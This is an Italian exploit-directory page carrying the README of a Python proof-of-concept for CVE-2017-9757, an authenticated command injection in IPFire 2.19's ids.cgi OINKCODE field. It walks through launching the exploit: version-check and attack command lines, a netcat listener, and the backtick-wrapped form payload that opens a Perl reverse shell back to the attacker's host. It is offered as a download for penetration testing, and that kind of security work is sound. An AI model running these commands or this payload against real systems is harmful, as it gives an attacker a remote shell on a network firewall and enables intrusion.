Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
IPFire_2.19_RCE_Authenticated — Questo exploit si basa su CVE-2017-9757 ed è stato costruito sull'exploit originale di 0x09AL. | Kitploit
Strumenti/GitHubGitHub/joaoaugustom/ipfire_2.19_rce_authenticated
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e Formazione
GitHubjoaoaugustom/ipfire_2.19_rce_authenticated

IPFire_2.19_RCE_Authenticated

Questo exploit si basa su CVE-2017-9757 ed è stato costruito sull'exploit originale di 0x09AL.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
113 giorni faNon ancora revisionato

IPFire 2.19 OINKCODE RCE PoC

Proof of concept in Python per la vulnerabilità di command injection autenticata nella pagina ids.cgi di IPFire 2.19 tramite il parametro OINKCODE.

Solo per test di sicurezza autorizzati e laboratori di formazione. Esegui questo PoC solo contro sistemi che possiedi o per i quali hai esplicita autorizzazione al test. L'autore non è responsabile dell'uso improprio o dei danni causati da questo codice.

Panoramica della vulnerabilità

IPFire 2.19 è vulnerabile all'iniezione di comandi del sistema operativo nel parametro OINKCODE elaborato da /cgi-bin/ids.cgi. Il parametro viene incorporato in un comando shell senza una corretta neutralizzazione, consentendo a un utente autenticato di eseguire comandi sull'host IPFire.

La vulnerabilità è comunemente identificata come CVE-2017-9757 e corrisponde a CWE-78: neutralizzazione impropria degli elementi speciali usati in un comando del sistema operativo ('OS Command Injection').

Il PoC pubblico originale è stato testato contro IPFire 2.19 Core Update 110. Il modulo Metasploit considera le versioni fino a IPFire 2.19 con Core Update 110 all'interno del suo intervallo di verifica supportato.

Perché è stato creato questo PoC

Il PoC Python originale di Exploit-DB esegue una richiesta di verifica utilizzando:

root@kitploit:~
OINKCODE = '`id`'

Successivamente dichiara il target vulnerabile solo se la risposta HTTP contiene:

root@kitploit:~
uid=99(nobody)

Questa validazione non è affidabile. Il comando può essere eseguito mentre il suo output viene consumato dal comando shell costruito dalla CGI invece di essere riflesso nella risposta HTML restituita al client. Di conseguenza, il server può restituire una normale pagina HTTP 200 senza includere l'output di id, producendo un falso negativo.

Questa implementazione segue la logica di validazione usata dal modulo Metasploit:

  1. Richiedere /cgi-bin/pakfire.cgi con autenticazione HTTP Basic.
  2. Estrarre la versione IPFire e il Core Update dalla risposta.
  3. Considerare IPFire <= 2.19 e Core Update <= 110 come apparentemente vulnerabili.
  4. Inviare il payload del comando a /cgi-bin/ids.cgi nel campo OINKCODE.
  5. Considerare una risposta diversa da 200 come richiesta rifiutata o problema di autenticazione.
  6. Non ispezionare il corpo HTML per uid=99(nobody).

Il PoC usa anche un payload Perl di command shell, in linea con la famiglia di payload di comando supportata dal modulo Metasploit. Una risposta HTTP positiva da sola non prova che la reverse shell si sia connessa; è necessario verificare anche il listener e il percorso di rete.

Differenze tra gli exploit di origine

Il criterio di successo importante del modulo Metasploit è che un codice di risposta inatteso indica credenziali non valide o una richiesta rifiutata. Non richiede che il corpo della risposta contenga l'output del comando iniettato.

Requisiti

  • Python 3
  • requests
  • Credenziali IPFire valide con accesso all'interfaccia web
  • Un interprete Perl sul target, normalmente disponibile come perl
  • Un listener raggiungibile dall'host IPFire

Installa la dipendenza Python:

root@kitploit:~
python3 -m pip install requests

Utilizzo

1. Controlla solo la versione del target

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --check-only \
  --insecure

La password viene richiesta in modo interattivo quando non viene fornito --password. Ciò è consigliato perché inserire una password direttamente in un comando può esporla tramite la cronologia della shell o l'elenco dei processi.

2. Avvia un listener

Usa un listener sull'indirizzo e sulla porta forniti come --lhost e --lport:

root@kitploit:~
rlwrap nc -lvnp 4444

Se rlwrap non è installato, usa:

root@kitploit:~
nc -lvnp 4444

3. Invia il payload di reverse shell Perl

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Per il consueto certificato HTTPS autofirmato di IPFire, è richiesto --insecure/-k. Usalo solo quando nel laboratorio la verifica del certificato non è intenzionalmente possibile.

URL completo invece di host e porta

Il target può essere fornito anche come URL base completo:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target https://192.0.2.10:444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --insecure

Salta l'identificazione della versione

Usa questa opzione solo quando la versione IPFire è già stata confermata in modo indipendente:

root@kitploit:~
python3 ipfire_oinkcode_rce.py \
  --target 192.0.2.10 \
  --web-port 444 \
  --username admin \
  --lhost 192.0.2.20 \
  --lport 4444 \
  --skip-version-check \
  --insecure

Specifica un percorso Perl diverso

Se Perl non è nel PATH predefinito del target, fornisci il suo percorso assoluto:

root@kitploit:~
--perl-path /usr/bin/perl

Opzioni della riga di comando

Interpretare l'output

HTTP 200 da ids.cgi

Ciò significa che la richiesta HTTP è stata accettata dalla CGI secondo lo stesso criterio pratico usato dal modulo Metasploit. Una risposta HTML normale è prevista e non è la prova che il controllo della vulnerabilità sia fallito.

Controlla il listener per la shell. Se la shell non arriva, verifica l'indirizzo di callback, il routing, le regole di uscita del firewall, la disponibilità di Perl e la porta selezionata.

HTTP 401 o HTTP 403

La richiesta non è stata autorizzata. Controlla nome utente, password, URL del target, porta e se l'account può accedere all'interfaccia web di IPFire.

HTTP 404

L'URL del target o il percorso CGI è probabilmente errato, oppure il servizio non è l'interfaccia web IPFire attesa.

Versione non riconosciuta

Lo script non è riuscito a trovare la stringa di versione attesa in pakfire.cgi. Conferma manualmente il target prima di usare --skip-version-check.

Timeout della richiesta dopo l'invio del payload

Il comando iniettato può mantenere aperta la richiesta CGI mentre tenta il callback. Considera questo un segnale per controllare il listener, non una prova definitiva di una shell.

Flusso tecnico della richiesta

Lo script usa l'autenticazione HTTP Basic e invia i seguenti campi del modulo a ids.cgi:

root@kitploit:~
ENABLE_SNORT_GREEN=on
ENABLE_SNORT=on
RULES=registered
OINKCODE=`<Perl command payload>`
ACTION=Download new ruleset
ACTION2=snort

Il comando è racchiuso tra backtick perché l'applicazione vulnerabile passa il valore di OINKCODE a un comando shell. Il comportamento esatto della richiesta dipende dalla versione del target e dalla sua configurazione locale.

Limitazioni

  • Questo è un proof of concept, non un framework di sfruttamento completo.
  • Il controllo della versione si basa sul comportamento del modulo Metasploit di riferimento; non garantisce che ogni target con un banner corrispondente sia sfruttabile.
  • Una risposta 200 conferma che la richiesta è stata accettata, non che la reverse shell abbia raggiunto il listener.
  • Il payload Perl richiede un interprete Perl funzionante e connettività di rete da IPFire al listener.
  • Lo script non tenta bypass dell'autenticazione o sfruttamento di CSRF; sono attese credenziali valide.

Riferimenti

  • NVD: CVE-2017-9757
  • Exploit-DB 42149: IPFire 2.19 Esecuzione di codice in remoto
  • Exploit-DB 42369: IPFire < 2.19 Update Core 110 Esecuzione di codice in remoto
  • Modulo Metasploit: ipfire_oinkcode_exec.rb
  • Payload di comando Perl di Metasploit
  • CWE-78: Iniezione di comandi del sistema operativo

Attribuzione

Questo progetto è un'implementazione Python educativa basata sulla ricerca pubblica e sul proof of concept di 0x09AL, e sul modulo Metasploit mantenuto dalla community di Metasploit. Non è affiliato a IPFire, Exploit-DB o Rapid7, né da questi approvato.

Scarica lo strumento
CaratteristicaPoC Python Exploit-DB 42149Exploit-DB 42369 / MetasploitQuesto PoC
Endpoint vulnerabile/cgi-bin/ids.cgi/cgi-bin/ids.cgi/cgi-bin/ids.cgi
Controllo versioneNessunoGET /cgi-bin/pakfire.cgiStesso controllo in stile Metasploit
AutenticazioneBasic AuthHeader Basic AuthBasic Auth tramite requests.Session
Validazione inizialeEsegue `id` e cerca nel corpo della rispostaControlla la versione, poi invia il payloadControlla la versione e usa il codice di risultato HTTP
Rischio di falsi negativiAlto: dipende dalla presenza di uid=99(nobody) nella rispostaEvita la validazione del contenutoEvita la validazione del contenuto
Reverse shellBash /dev/tcpPayload di comando Unix di MetasploitCommand shell Perl IO::Socket::INET
Gestione TLSVerifica del certificato disabilitata nel PoCSSL abilitato di defaultLa verifica è disabilitata solo con -k/--insecure
ConfigurazioneValori modificati direttamente nel sorgenteOpzioni di MetasploitArgomenti da riga di comando
OpzionePredefinitoDescrizione
-t, --targetObbligatorioHost/IP del target o URL base completo
--schemehttpsSchema usato quando il target è solo un host/IP
--web-port444Porta dell'interfaccia web IPFire
-u, --usernameadminNome utente IPFire
-p, --passwordPromptPassword; ometti per inserirla senza eco
--lhostObbligatorioIndirizzo del listener raggiungibile da IPFire
--lport4444Porta del listener
--perl-pathperlEseguibile Perl sul target
--timeout10Timeout HTTP in secondi
-k, --insecureDisabilitatoDisabilita la verifica del certificato TLS
--skip-version-checkDisabilitatoSalta il controllo di pakfire.cgi
--check-onlyDisabilitatoEsegue solo il controllo della versione